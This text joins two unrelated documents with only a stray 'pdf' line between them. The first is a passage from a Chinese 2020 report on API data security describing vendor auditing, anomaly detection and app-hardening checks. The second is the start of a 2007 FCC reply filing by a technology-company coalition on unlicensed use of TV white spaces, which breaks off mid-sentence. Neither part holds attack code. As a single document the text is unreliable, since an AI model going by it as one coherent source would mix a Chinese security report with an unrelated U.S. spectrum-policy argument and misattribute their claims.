流量数据:通过协议解析,获取多系统接口行为记录,包括访 问的接口、访问的 URL、源/目的 IP、源/目的端口、访问时间及流 量等数据,为访问行为的安全审计、数据挖掘提供数据源。 审计告警:根据业务系统特点,对通过接口交互的敏感信息或 关键字进行识别、告警设置,生成审计规则,对匹配规则的敏感信 息进行相应操作,如区分日志类型(原始日志、重要日志、告警日 志)、进行有效报警(邮件、短信)等,为系统接口交互行为审计 提供及时预警及处理时间。 来源:上海观安信息技术股份有限公司 异常数据流动行为检测:从应用系统流量中提取用户访问行为 的原始数据,计算相关的基础指标,构建数据模型进行机器学习和大 数据分析,对数据访问建立行为基线,利用异常检测技术,从多个 维度来识别异常数据访问行为,从而实现异常数据访问行为和数据 泄露行为的感知和预警。 应用程序接口(API)数据安全蓝皮报告(2020 年) 38 回溯取证:对接口业务行为进行完整的记录,并支持接口访问 行为和事件回放取证。记录包括访问时间、访问者、访问凭据、访 问请求参数、返回数据等。 API 数据安全态势分析:通过海量接口行为数据,运用 Hadoop 大数据支撑平台,快速大批量接口行为分析,辅助安全管理员提前 预警阻断。 来源:上海观安信息技术股份有限公司 数据挖掘:对接口生命周期及接口的商业行为进行高效的梳理 和分析,通过采用分类模型、预测模型、关联模型、聚类模型、异 常值分析、协同过滤、文本挖掘等算法模型,为企业提供更优质的 商业价值。 3.实践应用 (1)背景 应用程序接口(API)数据安全蓝皮报告(2020 年) 39 某运营商安全行为管控主要依赖传统的业务系统日志、4A 访问 日志,数据来源单一,分析手段相互独立缺乏联动,缺少多维度分 析;对接口调用异常、业务行为中敏感数据自识别监控、数据操作 异常事件等新型事件,依赖现有传统审计方法无法有效识别和监测。 (2)应用 分析模块:分析业务流程包括数据采集、数据预处理、数据存 储、分析引擎、结果输出等步骤。 风险场景模型:分析平台和业务场景的深度耦合,对系统业务 风险点进行监测、控制,业务分析平台采用 2 套分析模型(机器行 为模型、风险评分卡模型)对 4 大业务场景(接口风险告警、主机 绕行告警、前台未授权查询信息、敏感数据操作监测)进行业务分 析。 接口异常行为监测:基于流量探针对流量数据进行采集,根据 接口小时段内容的接口类型、调用对象、访问时间间隔等数据维度 构建特征工程,通过机器学习分类算法如随机森林,建立异常识别 模型,从而通过模型识别出异常行为。 接口内容敏感识别:数据接口种类繁多,如何正确高效、识别 敏感数据接口并进行行为分析,俨然成为工作难题。本次实践应用 中通过流量探针,在下行流量数据中依赖命名实体识别、规则识别 敏感数据,并对识别的敏感数据接口进行监控,精准管理敏感数据 接口。 应用程序接口(API)数据安全蓝皮报告(2020 年) 40 用户行为异常分析:关注用户对关键业务系统、敏感数据、敏 感文件的操作行为,通过规则、基线等分析手段识别异常行为。 (3)成效 实践中完成 3 个业务风险场景建设,构建 2 套分析模型,日均 处理 200G 数据,共监测识别异常事件 72 起、真实有效事件 67 起。 来源:上海观安信息技术股份有限公司 4.发展趋势 当前,API 安全保护日渐成为网络应用的主要技术需求之一。人 工智能和机械学习作为高效智能化的工具,已经被应用到了协议栈 的各个层面上,以实现 API 的全栈安全防护。就下一步发展趋势来 看,开发人员需要进一步加大对于 API 业务模型、分析能力、技术 蓝图、以及合规性与标准化的深入研究与开发。API 安全实践的发展 趋势包括:DNS 安全、安全设计、人工智能、机械学习驱动等。 应用程序接口(API)数据安全蓝皮报告(2020 年) 41 (三)爱加密 API 安全实践 1.安全方案 爱加密移动应用 API 安全防护方案秉持“分段保护,技术验证” 的思路,在保障 APP 业务功能的前提下,对其调用或集成的 API 进 行事前、事中、事后的全过程安全管理与防护。及时发现潜在的源 码漏洞、破解盗用、异常调用等安全问题,并提供业务、数据、源 码各层面的安全防护。 来源:北京智游网安科技有限公司(爱加密) 爱加密自动化安全扫描工具可针对 API 的源代码安全性、数据 安全性与传输安全性等多方面进行检测,并对缺少源码保护、明文 存储数据、非加密协议传输数据等问题进行重点侦测。 (1)源代码防护检测 源码反编译安全:检测 Java 文件是否进行加壳保护,未加壳可 能面临被反编译的风险。 应用程序接口(API)数据安全蓝皮报告(2020 年) 42 源码混淆检测:检测 API 源代码是否进行混淆处理,代码未进 行混淆会在代码被反编译后导致核心代码可能被窃取,存在逆向代 码还原到源码的风险。 so 文件保护检测:检测 so 文件是否为了实现不同软件之间的数 据共享,设置内部文件为全局可读或全局可写,使得其他应用可以 读取和修改该文件。 H5 代码安全检测:分析 API 中的 html5 文件是否经过混淆/加密 操作。 密钥硬编码检测:检测 API 是否存在将加密算法密钥设定为固 定值,导致不法分子可能通过反编译硬编码密钥破解接口加密机制 情况。 (2)API 安全性检测 敏感信息获取检测:检测 API 中是否存在获取用户敏感信息的 操作。 API 本地数据存储安全检测:检测 API 是否会将用户敏感数据明 文存放在本地缓存目录,私有目录等。 日志数据安全检测:Log 日志是 APP 运行期间自身产生的,是对 程序运行情况的记录和监控,通过 Log 日志可以详细了解 APP 内部 的运行状况。 证书文件明文存储检测:查看 API 资源中是否包含明文的证书 文件。 应用程序接口(API)数据安全蓝皮报告(2020 年) 43 (3)API 数据传输检测 HTTP 协议检测:由于 HTTP 数据传输是明文传输的,导致 HTTP 数据容易被抓取、篡改,泄露用户密码等敏感数据,甚至通过中间 人劫持将原有信息替换成恶意链接或恶意代码程序,以达到远程控 制、恶意扣费等攻击意图。通过使用抓包工具在网络节点设置代理, 侦听抓取 API 业务请求数据包,分析数据报文检查是否使用 http 协 议传输数据。 业务接口漏洞测试:检查 API 是否存在与业务功能无关的服务 器交互接口,通过侦听通信数据中的网络端口类型查看 API 是否存 在可能的越权访问与脚本注入风险。 2.技术手段 自动化业务检测:将 API 恶意代码的行为特征具体化分析,创 造行为自动化检测脚本,通过对真实运行环境的仿真模拟来诱导发 现第三方 API 是否隐藏恶意行为与违规行为,将行为检测技术运用 到检测方法当中,包括:  检测 API 读取隐私数据,如手机通讯录、通话记录、短信内 容、IMEI、IMSI 等相关行为事件。  检测 API 完整的网络通讯事件,获取远程服务器 IP(包含地 理区域)、端口号、域名、完整 URL。  检测 API 隐藏图标动作、执行系统高威胁设置等行为事件。  检测 API 运行过程隐蔽安装插件安装包行为事件。 应用程序接口(API)数据安全蓝皮报告(2020 年) 44  检测 API 在运行生命周期内新建文件、编辑文件、删除文件 等所有行为事件。 VMP 高强度代码加固:市面上普遍对 256 个 OpCode,进行了自 定义指令替换,具体的操作数语法组合并不做处理。爱加密 VMP 对 OpCode 指令以及操作数都同时进行了指令转换处理,涉及操作数语 法组合大概 541 种,在加密细粒度和强度方面具有显著优势。 API 探针技术:API 威胁感知可以进行自定义埋点探针数据采集, 在后台对 APP 进行流程位置埋点探针,收集该埋点探针数据,在应 用上线后埋点探针可进行远程操作,而后埋点下发。爱加密威胁感 知系统支持多种响应形式的自定义下发,包括自定义弹窗,退出, 提示,悬浮球,打开链接,启动应用,toast 提示,通知栏,预下载, 下载并安装,跳转指定页面等。 3.实践应用 (1)运营商计费类 API 公开共享场景应用 某运营商开发自有计费 API 用于提供 App 内计费系统交易结算。 由于缺少代码层面安全防护,API 接口遭到恶意破解,计费逻辑与关 键文件被窃取,计费流程的完整性遭到破坏,导致交易破解与恶意 计费事件发生。此外,遭破解的计费 API 可能被二次打包为携带违 法广告、木马程序等内容的盗版 API,成为违法违规内容传播的载体。 应用程序接口(API)数据安全蓝皮报告(2020 年) 45 来源:北京智游网安科技有限公司(爱加密) 爱加密通过技术手段对运营商计费类 API 进行源码保护,提高 源码复杂度与完整性校验,防止被黑客破解分析,探知核心业务流 程。同时对关键业务流程进行过程监控,对关键交易进行二次验证。 此应用场景下采取如下保护措施:  对 API 源代码进行加固处理,防止非法破解。API 加固保护包 括对 jar 文件代码的虚拟化处理、so 库文件的安全防护等安全加固 内容。同时防止 so 库被非法调用,对 App 的使用进行权限管理。  增加威胁感知探针,对 API 业务运行时的状态进行感知。在 计费 API 运行时对关键核心步骤进行二次校验,对关键业务核心点 进行完整性验证,出现的异常行为及时预警或阻断。 (2)互联网企业认证 API 对外开放场景应用 某互联网企业为推广业务吸引流量,向第三方开发企业与个人 开放了自身 APP 的认证 API,实现便捷登录功能。由于未对 API 进行 安全检测,被黑客通过 API 中的通讯录匹配功能暴力匹配用户姓名 和密码,将海量黑产数据转化为有价值的用户账号数据在黑市兜售, 应用程序接口(API)数据安全蓝皮报告(2020 年) 46 给企业带来极大的经济和社会信誉损失。 来源:北京智游网安科技有限公司(爱加密) 互联网企业在向社会公开自己的 API 时,需要对 API 做全面的 安全检测,及时发现代码层面、数据层面与接口传输层面的安全漏 洞,与 App 业务功能无关的接口应及时注销关闭,防止其被破解后 形成潜在业务隐患。 此应用场景下采取如下保护措施:  检测 API 源代码是否进行混淆,加固等安全技术处理。防止 攻击者通过反编译工具得到 API 的代码后直接可读可定位等风险。  检测是否含有遗留日志数据,防止黑客通过 Log 日志详细了 解 API 内部的运行流程。防止通过对日志搜索进行程序代码定位, 从而找到 API 中关键代码进行分析修改。  增加威胁感知探针,对 API 运行时的业务请求频率进行监控。 在出现高频率、涉及敏感数据的业务时向服务后台进行预警与客户 端的防御响应。 应用程序接口(API)数据安全蓝皮报告(2020 年) 47 4.产品研发 目前 API 接口根据不同 APP 的开发场景被广泛集成到海量 SDK 中进行使用。爱加密结合其移动应用 SDK 领域安全积累,建立移动 SDK/API 资产互联网监控平台,通过大数据分析模型,提升相关风险 预警的准确性和防护策略的有效性。 来源:北京智游网安科技有限公司(爱加密) 该平台依托于爱加密移动安全大数据平台的监管能力,针对数 百万 APP 使用的 SDK/API 进行专向分类管理,当企业需要使用第三 方 SDK/API 时,可通过爱加密安全大数据平台获取详细的状态与使 用范围信息。 此外,平台提供针对企业自研 SDK/API 登记备案和管理功能, 可对企业自研 SDK/API 是否遭违法违规调用进行快速查询和验证。 平台提供的 API 全质量常态监测服务可对重大、突发安全漏洞实现 第一时间检测与记录回馈,配合移动威胁感知系统的前端响应能力, 应用程序接口(API)数据安全蓝皮报告(2020 年) 48 阻断风险扩散,精确划分影响范围,最大限度减小由于安全原因带 来的负面影响。 中国信息通信研究院 安全研究所 地址:北京市海淀区花园北路 52 号 邮政编码:100191 联系电话:010-62308590 010-62308790 传真:010-62300264 网址:www.caict.ac.cn
pdf
Before the FEDERAL COMMUNICATIONS COMMISSION Washington, D.C. 20554 In the Matters of Unlicensed Operation in the TV Broadcast Bands Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band ET Docket No. 04-186 ET Docket No. 02-380 REPLY COMMENTS OF DELL INC., GOOGLE, INC., THE HEWLETT-PACKARD CO., INTEL CORP., MICROSOFT CORP., AND PHILIPS ELECTRONICS NORTH AMERICA CORP. Scott Blake Harris Edmond J. Thomas∗ S. Roberts Carter III Kelley A. Shields** HARRIS, WILTSHIRE & GRANNIS LLP 1200 Eighteenth Street, NW Washington, DC 20036 (202) 730-1300 March 2, 2007 ∗ Senior Policy Advisor ** Admitted only in Georgia; supervision by Scott Blake Harris, a member of the DC Bar, while DC Bar application pending. i Table of Contents SUMMARY ........................................................................................................................... ii I. THE COALITION’S PROPOSAL WILL ENABLE THE USE OF UNLICENSED LOW POWER DEVICES IN THE TV WHITE SPACES. ............................................................. 3 A. Technical and Operational Parameters.............................................................. 5 B. The Proposed Spectrum Sensing Approach Will Provide Broadcasters with the Protection to which they are Entitled. .......................................................... 8 1. The proposed detection threshold is more than sufficient to guard against harmful co-channel interference....................................................................... 9 2. Personal/portable devices can successfully operate in adjacent channels. ... 11 3. Low power television stations......................................................................... 14 C. Testing.................................................................................................................. 15 II. PERSONAL/PORTABLE DEVICES SHOULD BE AUTHORIZED AT THE SAME TIME AS FIXED DEVICES, IF NOT BEFORE................................................................................ 16 III. UNLICENSED USE OF THE WHITE SPACES WILL PROVIDE THE GREATEST BENEFIT TO THE PUBLIC. ......................................................................................................... 18 A. Licensed Allocation of the White Spaces Will Not Lead to More Efficient Spectrum Use....................................................................................................... 20 B. Advocates of Licensing Dramatically Understate the Value of the White Spaces for Unlicensed Use.................................................................................. 24 C. The Commission Should Not Introduce a New Enforcement Regime for Unlicensed Devices.............................................................................................. 27 IV. OTHER ISSUES. ........................................................................................................... 28 A. Wireless Microphones. ....................................................................................... 28 B. Public Safety Operation on Channels 14-20..................................................... 30 C. Interference to Cable Systems. .......................................................................... 31 D. Wireless Medical Telemetry Services................................................................ 33 CONCLUSION .................................................................................................................... 35 ii SUMMARY As Dell, Google, Hewlett-Packard, Intel, Microsoft, and Philips (collectively the “Coalition”) said in their opening comments, the Commission can permit innovative uses of unoccupied television spectrum (the TV “white spaces”) while ensuring that incumbent licensees in these bands are protected from harmful interference. Indeed, the Coalition explained in great detail the technical rules the Commission could adopt that would permit robust unlicensed use of the white spaces while protecting incumbent licensees. The Coalition is now prepared physically to demonstrate that it is possible to permit such use of the white spaces while protecting incumbents. It has designed, built, and made arrangements to submit to the Commission a prototype device for testing. By contrast, opponents of white space use have submitted only conjecture and comments that make assumptions which do not reflect how real-world devices will operate. The one subject on which the record reflects near universal agreement is the need for the Commission to conduct objective testing to evaluate how devices will operate in the white spaces. The Coalition enthusiastically supports rigorous testing by the Commission, and believes that this testing should be the touchstone of this proceeding. Indeed, the Coalition urges the Commission to give preference to those technical and operational proposals that are supported by devices that have been made available for the Commission to test. In its opening comments, the Coalition urged the Commission to authorize personal/portable devices concurrently with fixed devices, to allow personal/portable devices to employ spectrum sensing technology to avoid causing harmful interference to incumbent licensees, and to ensure that such devices are authorized on an unlicensed iii basis. This approach will maximize the benefits of the white spaces by enabling a range of innovative devices and services while protecting incumbents. Accordingly, the Coalition urges the Commission to take the following actions as it formulates the final rules governing operation in the white spaces: First, the Commission’s rules should accommodate the Coalition’s proposed technical and operational parameters for a personal/portable spectrum sensing device. The Coalition encourages the Commission to test its prototype rigorously so that it can see for itself that these parameters will provide incumbents with the protection from harmful interference to which they are entitled. Second, the Commission should authorize personal/portable devices at the same time it authorizes fixed devices, if not before. Those seeking to delay the introduction of personal/portable devices have claimed a need to learn more about how such devices will operate, but fixed device prototypes are not even available for the Commission to test. Finally, the Commission should reaffirm its initial decision to allocate the TV white spaces on an unlicensed basis. The “Swiss cheese” nature of the white spaces makes them ill-suited to licensed allocation, and licensing them will increase substantially the risk that much of this spectrum will continue to lie fallow, to the detriment of the public. While licensed use of TV spectrum will be realized in the upcoming DTV auction, this proceeding represents the only opportunity to access this unique spectrum—with its excellent propagation characteristics—on an unlicensed basis. In short, the Coalition urges the Commission to adopt rules that will allow flexible, widespread use of the white spaces, and to confirm through independent testing that the parameters proposed by the Coalition will provide incumbent licensees with the iv protection to which they are entitled. By adopting the proposals set forth by the Coalition in this proceeding, the Commission can ensure that the public receives the maximum benefit from the TV white spaces. BEFORE THE FEDERAL COMMUNICATIONS COMMISSION WASHINGTON, D.C. 20554 In the Matters of Unlicensed Operation in the TV Broadcast Bands Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band ET Docket No. 04-186 ET Docket No. 02-380 REPLY COMMENTS OF DELL INC., GOOGLE, INC., THE HEWLETT-PACKARD CO., INTEL CORP., MICROSOFT CORP., AND PHILIPS ELECTRONICS NORTH AMERICA CORP. The core objective of this proceeding is to tap the nation’s unused television spectrum (the TV “white spaces”) to “benefit the public by allowing the development of new and innovative types of devices and services for businesses and consumers, without disrupting television and other authorized services.”1 Dell, Google, Hewlett-Packard, Intel, Microsoft, and Philips (collectively the “Coalition”) are committed to realizing this vision, and to ensuring that this spectrum is available to provide a variety of affordable broadband services to millions of underserved Americans. In its opening comments, the Coalition provided the Commission with a technical roadmap to reach these goals.2 It has now backed up its words by building a prototype which and making arrangements to submit it to the Commission for testing. This device 1 Unlicensed Operation in the TV Broadcast Bands; Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band, First Report and Order and Further Notice of Proposed Rule Making, 21 FCC Rcd. 12266 (¶1) (2006) (“Further Notice” or “FNPRM”). 2 See generally Comments of Dell, Inc., Google, Inc., the Hewlett-Packard Company, Intel Corp., Microsoft Corp., and Philips Electronics North America Corp. (“Coalition Comments”). 2 will confirm that incumbent licensees can be protected by unlicensed devices from harmful interference. In contrast, some parties opposing flexible, widespread use of the white spaces have provided the Commission with nothing but misleading theoretical analysis and empirical studies. These comments share one salient feature: while paying lip service to the Commission’s objective of ensuring access to new innovative devices and services, they have focused instead on creating new unnecessary benefits for incumbent licensees, needlessly inhibiting use of the white spaces. A balance between the wishes of incumbents and encouraging innovation is required if the public is to realize the substantial value of this spectrum. Significantly, the one subject on which the record reflects near universal agreement is the need for the Commission to conduct objective testing to determine how much protection TV band devices must provide.3 The Coalition enthusiastically supports these calls for rigorous, independent testing, which should be the touchstone of this proceeding. In particular, the Coalition urges the Commission to give preference to those technical and operational proposals supported by devices that have been made available for testing. In this regard, the Coalition notes that its personal/portable prototype device incorporating spectrum sensing technology is, quite literally, the only option on the table for the Commission to test. 3 See, e.g., Coalition Comments at 18; Comments of Qualcomm, Inc. at 3-4 (“Qualcomm Comments”); Comments of Shure, Inc. at 22-25 (“Shure Comments”); MSTV Comments at 24-26; Comments of the New America Foundation, et al. at 71-79 (“NAF Comments”); Comments of IEEE 802.18 (IEEE 802.18 Comments”) at 20-21; Comments of the Consumer Electronics Association (“CEA Comments”) at 5-6. 3 Finally, consistent with its original determination that the white space spectrum should be allocated on an unlicensed basis, the Commission should reject calls to license any portion of the white spaces. Unlicensed use of the white spaces will provide substantial benefits for businesses, public safety, and consumers, furthering innovation and enabling widespread affordable broadband access. While licensed use of TV spectrum will be realized in the upcoming DTV auction, this proceeding represents the only opportunity to access this unique spectrum—with its excellent propagation characteristics—on an unlicensed basis. In short, by adopting the technical and operational parameters proposed by the Coalition, concurrently authorizing the use of personal/portable and fixed/access devices, and allocating white space spectrum on an unlicensed basis, the Commission can: • Ensure technically and economically efficient utilization of unused beach front spectrum below 1 GHz. • Encourage innovation. • Provide economical broadband access and other services to public safety and first responders. • Enable a number of alternatives for economical broadband access in rural and other underserved areas via organic, low power mesh networks not dependent on significant infrastructure investment. • Make certain that TV spectrum can be accessed on an unlicensed basis (through the white spaces) as well as on licensed basis (through DTV auctions), allowing the public to realize the advantages of both regulatory models. I. THE COALITION’S PROPOSAL WILL ENABLE THE USE OF UNLICENSED LOW POWER DEVICES IN THE TV WHITE SPACES. In its opening comments, the Coalition urged the Commission not to mandate specific technologies that must be deployed in the white spaces, but rather to set protection criteria and then confirm that devices submitted for certification can meet this 4 level of protection.4 Specifically, the Coalition recommended that the Commission permit the use of personal/portable devices, and allow these devices to use spectrum sensing rather than requiring less efficient or more cumbersome interference avoidance mechanisms.5 By giving industry the flexibility to address interference in a number of ways rather than selecting a specific interference avoidance technology, the Commission can best achieve its goals of encouraging innovation and protecting incumbents. Many of the objections raised by those opposing flexible use of the white spaces are based on unrealistic assumptions about how real-world devices, such as those proposed by the Coalition, will operate. For example, the results presented by MSTV assume that the white space device will always transmit at maximum power through a 6 dBi antenna (in other words, 400 mW Equivalent Isotropically Radiated Power (“EIRP”) for a personal/portable device).6 However, the proposal presented by the Coalition employs transmission power control (“TPC”), which will introduce up to 25 dB of attenuation depending on the received DTV signal strength in the adjacent and near channels.7 In addition, the device will use a 0 dBi antenna. Finally, the device will transmit at the lowest power necessary to achieve reliable communication. Therefore, to eliminate any possibility of interference, the output power of a Coalition device is capped at 100 mW EIRP, and can be as low as 1/3 of a milliwatt as appropriate—approximately 1200 times less power than assumed by MSTV. As this analysis demonstrates, the 4 Coalition Comments at 19. 5 Id. at 3-9. 6 See, e.g., MSTV Comments Ex. B at 34, 39. 7 See Section I.A., infra. 5 Commission should base its decision on an objective assessment of actual operating parameters rather than theoretical speculation designed specifically to suggest that white space use is infeasible. The Coalition’s proposal, in a reasoned and practical manner, addresses all the concerns and questions voiced by the Commission as well as all legitimate issues raised by commenters. In addition, it guarantees that affordable devices can be built and the spectrum can be efficiently shared. This proposal is the result of thousands of hours of theoretical and empirical analysis carried out by Coalition staff. The Coalition has invested the time and resources to build prototype devices. It has extensively tested and refined its designs. This intensive scientific approach led to the proposal the Coalition made in its comments and the further elaboration discussed below. It guarantees that incumbent licensees will be protected from harmful interference. Indeed, the Coalition is so certain of its analysis that it is the only participant in the docket who responded to the Commission’s request for a prototype device to test. The Coalition is confident that the Commission’s independent and expert testing of its prototype will confirm the wisdom of the Coalition’s choice of operating parameters. A. Technical and Operational Parameters. To eliminate any confusion and to facilitate the Coalition’s rebuttal to comments filed in the docket objecting to portable unlicensed use of the TV white spaces, the method of operation of the proposed device is summarized below: 1. Maximum transmit power will be 100 milliwatts EIRP (or 20 dBm EIRP) reduced by Transmission Power Control (“TPC”) as outlined below. 2. First, in all situations the device will transmit at the lowest power required for reliable communication. 6 3. Second, TPC will dynamically reduce the transmitter EIRP between 0 dB and 25 dB according to the example algorithm described below. 4. The transmit/receive antenna will be an omni-antenna with a maximum of 0 dBi gain. 5. The device will not operate in channels 2 through 20 and channel 37. 6. The device will employ a listen before talk algorithm. 7. Before operation, the device will scan all permitted channels (2 through 20 and 37 omitted) and will identify those channels with a received power below -114 dBm as vacant. 8. The device will transmit in an identified vacant channel for no more than 400 milliseconds, and will cease transmission on that channel for at least 100 microseconds so as not to monopolize the channel. 9. The device will re-scan every 60 seconds to re-determine channel vacancy. 10. To make certain that out-of-band interference limits are maintained, the device will transmit within the bounds of the transmission mask shown in Figure 1. This spectral mask (based on average power measurements in 500 kHz), combined with the rules described below, is designed to eliminate harmful interference and meet or exceed the ATSC standards. Figure 1 7 11. Before transmitting, the device will sense the power in the three channels above the one it wishes to transmit in and the three channels below it. It will then reduce its transmit power by employing a TPC factor as indicated by the algorithm below: 12. Assume that the unlicensed device has concluded that channel “k” is vacant and it wishes to transmit in that channel. Let Xk+i be the received average power at the unlicensed device in an occupied channel “i” channels away from the channel the device wishes to transmit in (i.e. channel k). As stated above, the device will measure the power in 3 channels above and below channel “k”. Therefore “i” will be +3, +2, +1, -1, -2, -3. 13. As long as the received DTV signal power at the unlicensed device is between -65 dBm and -90 dBm, the transmit power of the device is governed by Table 1. In the case where the received DTV power exceeds -65 dBm, the unlicensed device power is limited to a maximum of 20 dBm EIRP. When the received power is below -90 dBm for k= ±1, ±2 and ±3 , the unlicensed transmit power is fixed at -5 dBm. 14. In the case where more than one TV channel is occupied within ± 3 channels of the channel the unlicensed device wishes to utilize, it will transmit at the lowest EIRP derived from the rules above and Table 1 below. Table 1: Allowable unlicensed device transmit power Channel off-set “i” Transmit Power Control (TPC) Factor 0dB<=TPC<=25dB Allowed EIRP 20dBm>=EIRP>=-5dBm ± 1 20-( Xk±1+85) dB Xk±1+85 dBm ± 2 20- (X k±2+85) dB X k±2+85 dBm ± 3 20-( X k±3+85) dB X k±3+85 dBm The Coalition notes that the approach taken above is more conservative—and thus provides more protection—than the requirements set forth in OET Bulletin 69.8 If in the future systems can be designed so that their spectral mask attenuates leakage into channels k= ± 2 and k= ± 3 in excess of the 55 dB shown in Figure 1 then the allowed power in Table 1 for k= ± 2 and k= ± 3 governing those systems should be 8 See generally Longley-Rice Methodology for Evaluating TV Coverage and Interference, OET Bulletin No. 69 (Feb. 6, 2004), available at http://www.fcc.gov/Bureaus/Engineering_Technology/Documents/bulletins/oet69/oet69.pdf (last visited Feb. 27, 2007). 8 allowed to increase dB for dB. For example, if a system can conform to a mask with an attenuation floor of 60 dB then the allowable power for that system for k= ± 2 and k= ± 3 should be X k±2 + 90 dBm, X k±3 + 90 dBm. Illustrative examples in the use of the table and the rules above are instructive. Consider the case where only the adjacent channel is occupied and the received average power at the unlicensed device in that channel is -105 dBm. Since the received power is below -90 dBm, the unlicensed device will transmit at an average power of -5 dBm. On the other hand, if the received signal at the unlicensed device was -70 dBm, the table row for i equal to ± 1 yields an EIRP of 15 dBm. The device will transmit at an average power of 15 dBm or the minimum power required for reliable communication, whichever is less. Now consider the case where the adjacent channel (i=1) is occupied with a detected signal of -60 dBm and the next channel (i=2) is occupied with a detected signal of -85 dBm. The detected power in the adjacent channel would permit an EIRP of 20 dBm, however, the transmitted power is limited by the lower power in channel i = 2 (0 dBm EIRP) or the minimum power required for reliable communication, whichever is less. B. The Proposed Spectrum Sensing Approach Will Provide Broadcasters with the Protection to which they are Entitled. A number of comments in this proceeding have raised objections, both general and specific, to the widespread use of the white spaces. Many of these concerns assume higher power fixed operations, and simply do not apply to the low power operations the Coalition has proposed. While the Coalition will not address each of these objections individually, it would take this opportunity to address some of the larger concerns raised 9 by incumbent licensees. Moreover, the Coalition encourages the Commission to address any legitimate concerns raised in this proceeding by testing the prototype device. 1. The proposed detection threshold is more than sufficient to guard against harmful co-channel interference. In its opening comments, the Coalition proposed that the Commission use the Threshold of Visibility (“TOV”) as a proxy for TV channel vacancy at the Grade B Contour.9 Specifically, because DTV receivers require a signal level above TOV to reproduce a transmitted picture, it is reasonable to conclude that a channel is available for use at a particular time and geographic location by a personal/portable device if the signal level falls below TOV (approximately -84 dBm for DTV signals). As noted above, to ensure that incumbent licensees are protected, the Coalition proposed a detection threshold of -114 dBm, a full 30 dB below TOV for DTV signals.10 The broadcasters’ primary objection to the exclusive use of a signal detection threshold is that a TV signal could be weak, but nevertheless within the protected contour of a television station.11 To be clear, however, location alone does not determine the scope of a licensee’s protection from harmful interference.12 Rather, the touchstone of a claim of interference protection is whether that interference negatively impacts a signal that would otherwise produce a viewable picture.13 On occasion in this proceeding, 9 Coalition Comments at 6. 10 Id. 11 MSTV Comments at 11. 12 Harmful interference is defined as interference that “seriously degrades, obstructs, or repeatedly interrupts a radiocommunication service.” 47 C.F.R. § 2.1. 13 See, e.g., Interference: Defining the Source, FCC Consumer Facts, available at http://www.fcc.gov/cgb/consumerfacts/interference.html (last visited Feb. 27, 2007) (noting that 10 broadcasters have attempted to assert interference “protection” where there is no television picture or consumer impact to protect.14 This makes no sense. MSTV also contends that harmful co-channel interference from unlicensed devices presents a potential interference problem for miles.15 For example, in an exhibit, MSTV maintains that an unlicensed device must be kept sufficiently out of range so that its co-channel emissions will not increase the apparent receiver noise floor, and initially speculates that “to keep the free space interference field 20 dB below the desired DTV signal would require a separation of 600 miles” for a 4 watt device.16 MSTV later concludes that a range of 15 miles is appropriate to protect against co-channel interference after accounting for obstacles on the horizon, but fails to take into account TPC.17 As the Commission surely knows, the 600 mile figure is nonsensical even as a starting point. Megawatt full power TV stations operate on the same channel at much closer distances than six hundred miles, usually about 150 miles. To suggest that six hundred mile separation from a 4 watt device should be considered in any way only demonstrates the embarrassing lengths some will go to in an attempt to “protect” spectrum for which they do not have a license (i.e. the white spaces). Nothing could interference is, among other things, “any unwanted radio frequency signal that prevents you from watching television …”). 14 See, e.g., MSTV Comments at 12 n.29. The signal levels within Grade B Contour cited by MSTV are at best -99 dBm at the receiver, and could not reproduce a picture even with the aid of an outdoor antenna. 15 MSTV Comments at 12 n.29. 16 Id. at Ex. A, page 8 (emphasis added). 17 Id. at 9. 11 better demonstrate the need for an objective, independent Commission assessment of harmful interference risks. MSTV also makes much of a prior Intel calculation suggesting that the interference range of personal/portable devices could be up to five miles.18 As discussed previously, the Coalition has invested thousands of hours in research since the Intel filing, and learned much. That not withstanding, the intent of Intel’s submission was to adopt a series of conservative parameters. For example, Intel assumed a free space propagation model for its hypothetical personal/portable device, and also did not apply TPC in its calculations—which would reduce the transmitted power well below 100 mW in almost every case.19 In any event, the Coalition has proposed 30 dB of protection beyond TOV, and also has proposed a dynamic range of 25 dB for TPC to be absolutely certain no harmful interference is caused. As with the other issues in this proceeding, the Commission’s independent testing should be the final word on the subject. 2. Personal/portable devices can successfully operate in adjacent channels. Comments opposing widespread use of the white spaces also have objected to the use of adjacent channels by unlicensed devices.20 As a threshold matter, the Coalition notes that the IEEE 802.22 working group, which has been cited by those opposing adjacent channel uses, has confined itself to examining fixed devices and does not address the ability of personal/portable devices to access adjacent channels. Indeed, the 4 watt EIRP devices discussed by IEEE 802.22 radiate at up to 40 times more power than 18 See Comments of Intel Corp. (filed. Nov. 30, 2004) at App. A. 19 See id. at 5-6. 20 See, e.g. MSTV Comments at 16-21; IEEE 802.18 Comments at 8-9. 12 the maximum output of personal/portable devices proposed by the Coalition, which is reduced by TPC as discussed above. In addition, the IEEE submission contains no data or technical analysis whatsoever to support its claims, a somewhat unusual practice for this engineering body. Though MSTV does submit data in an attempt to bolster its contention that any operation of a TV band device on a station’s first adjacent channel will cause harmful interference,21 this claim is equally unpersuasive. Most significantly, MSTV completely fails to take into account the use of TPC, which would dramatically reduce the device’s radiated power and, consequently, the risk of interference. This omission is especially telling given that the Further Notice specifically inquired as to the use of TPC to enable adjacent channel operations.22 If the substantially reduced power levels mandated by TPC posed a significant risk of adjacent channel interference, doubtless MSTV would have let the Commission know. MSTV’s silence speaks volumes. The Coalition also notes that MSTV has employed a free space propagation model in support of its arguments regarding adjacent channel interference.23 To be sure, the initial NPRM did indicate that a free space model could be used for distances up to 1.5 kilometers, but this model is simply inappropriate for personal/portable devices. While a free space model is a very conservative worst case assumption for the ten-meter 21 MSTV Comments at 16. 22 FNPRM ¶ 42. 23 MSTV Comments at 16. 13 user terminal masts proposed by the IEEE,24 it manifestly is not representative of the homes, offices, and campuses where personal/portable devices would be deployed. Finally, MSTV has contended that its DTV receiver tests demonstrate the risk of interference on a number of adjacent and taboo channels.25 MSTV notes that its tested receivers responded differently to various interference tests, and argues that, in evaluating different types of interference, the Commission should establish one set of criteria that will protect each of MSTV’s tested receivers.26 The unstated premise of this argument is that the Commission must protect the lowest common denominator for each type of interference tested, making white space use captive to the aggregated flaws of each receiver. The Coalition strongly urges the Commission to reject this proposal. Varying interference rejection in a number of receivers should not impose a burden on unlicensed device operation—particularly if the receivers cannot even meet the ATSC receiver specifications. Nor should the Commission accept at face value MSTV’s claims about interference from multiple devices, which the Coalition has accounted for in its mask and TPC rules. If the Commission sets unnecessary and overly restrictive standards, it will remove all incentive for manufacturers to design 